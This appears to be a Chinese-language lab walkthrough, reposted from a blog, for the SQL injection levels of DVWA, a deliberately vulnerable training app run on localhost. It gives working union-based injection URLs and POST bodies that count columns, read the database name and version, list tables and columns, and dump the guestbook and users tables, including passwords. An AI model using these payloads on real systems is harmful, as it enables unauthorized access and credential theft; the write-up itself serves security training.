DVWA-SQL注入通关

DVWA-SQLi通关

初级:获取数据库版本号

判断注入类型

通过单引号,双引号依次尝试,发现单引号会引发报错,而双引号不会报错,所以是使用单引号的字符串类型

结论:

字符型注入中,哪个符号引发的报错,就代表是哪个符号的字符型注入

order by 推断字段数

http://localhost/dv/vulnerabilities/sqli/?id=2' order by 2--+ &Submit=Submit#

联合注入查询数据库版本号

http://localhost/dv/vulnerabilities/sqli/?id=2' and 1=2 union select version(),2--+ &Submit=Submit#

image-20230823193620363

中级:获取数据库名

判断回显情况:

image-20230823195428492

扫描二维码关注公众号,回复: 16376778 查看本文章

发现具有回显。

判断注入类型:尝试引号

image-20230823195333605

结果发现我们的引号被转义了

order by推算字段数

假设他就是数字类型,又因为具有回显,所以尝试使用order by来推算字段

image-20230823195630697

到了3的时候,会报错,所以可以知道字段数为2

获取数据回显位置

post请求(如图):
Submit=Submit&id=2 and 1=2 union select 1,2

image-20230823195827745

联合查询

可以通过union联合查询,获取数据库名

post请求(如图):
Submit=Submit&id=2 and 1=2 union select 1,database()

image-20230823195917996

源码审计

image-20230823200055912

由于源码中使用了mysqli_real_escape_string()函数对我们输入的数据进行转义了,所以无法使用字符型注入了,然而源码中的语句恰好不是字符型注入,而是数字型注入,又因为页面回显,所以可以使用联合注入获取数据库名

高级:获取任意内容

高级这关其实和中级差不多,都是使用联合注入的方式,区别就是在高级这关需要使用单引号进行闭合,而且这关也没mysqli_real_escape_string()函数对我们输入的内容进行转义

判断回显

通过输入不同的id,发现有不同的结果显示在页面,确认有回显

判断注入类型

通过尝试单引号与双引号,发现单引号报错,所以注入类型为单引号的字符串类型

image-20230823201548284

order by推算出字段数为2

http://localhost/dv/vulnerabilities/sqli/?id=1' order by 3--+&Submit=Submit#

image-20230823201830093

确定回显位置

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select 1,2--+&Submit=Submit#

image-20230823201853005

所以可以通过联合注入获取任意内容

获取数据库,版本

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select database(),version()--+&Submit=Submit#

image-20230823202013802

数据库:dvwa

版本:5.5.53

获取数据库中的表

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+&Submit=Submit#

image-20230823202120118

表:guestbook,users

获取guestbook表的字段

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="guestbook"--+&Submit=Submit#

image-20230823202331325

guestbook表的字段:comment_id,comment,name

获取guestbook表的所有数据

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select CONCAT(comment_id,'--',comment,'--',name),2 from dvwa.guestbook --+&Submit=Submit#

image-20230823204247546

数据:1--This is a test comment.--test

获取users表的字段

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="users"--+&Submit=Submit#	

image-20230823202451136

users表的字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

获取users表的所有数据

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select CONCAT(user_id,'--',first_name,'--',last_name,'--',user,'--',password,'--',avatar,'--',last_login,'--',failed_login),2 from dvwa.users --+&Submit=Submit#

image-20230823204122507

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132461110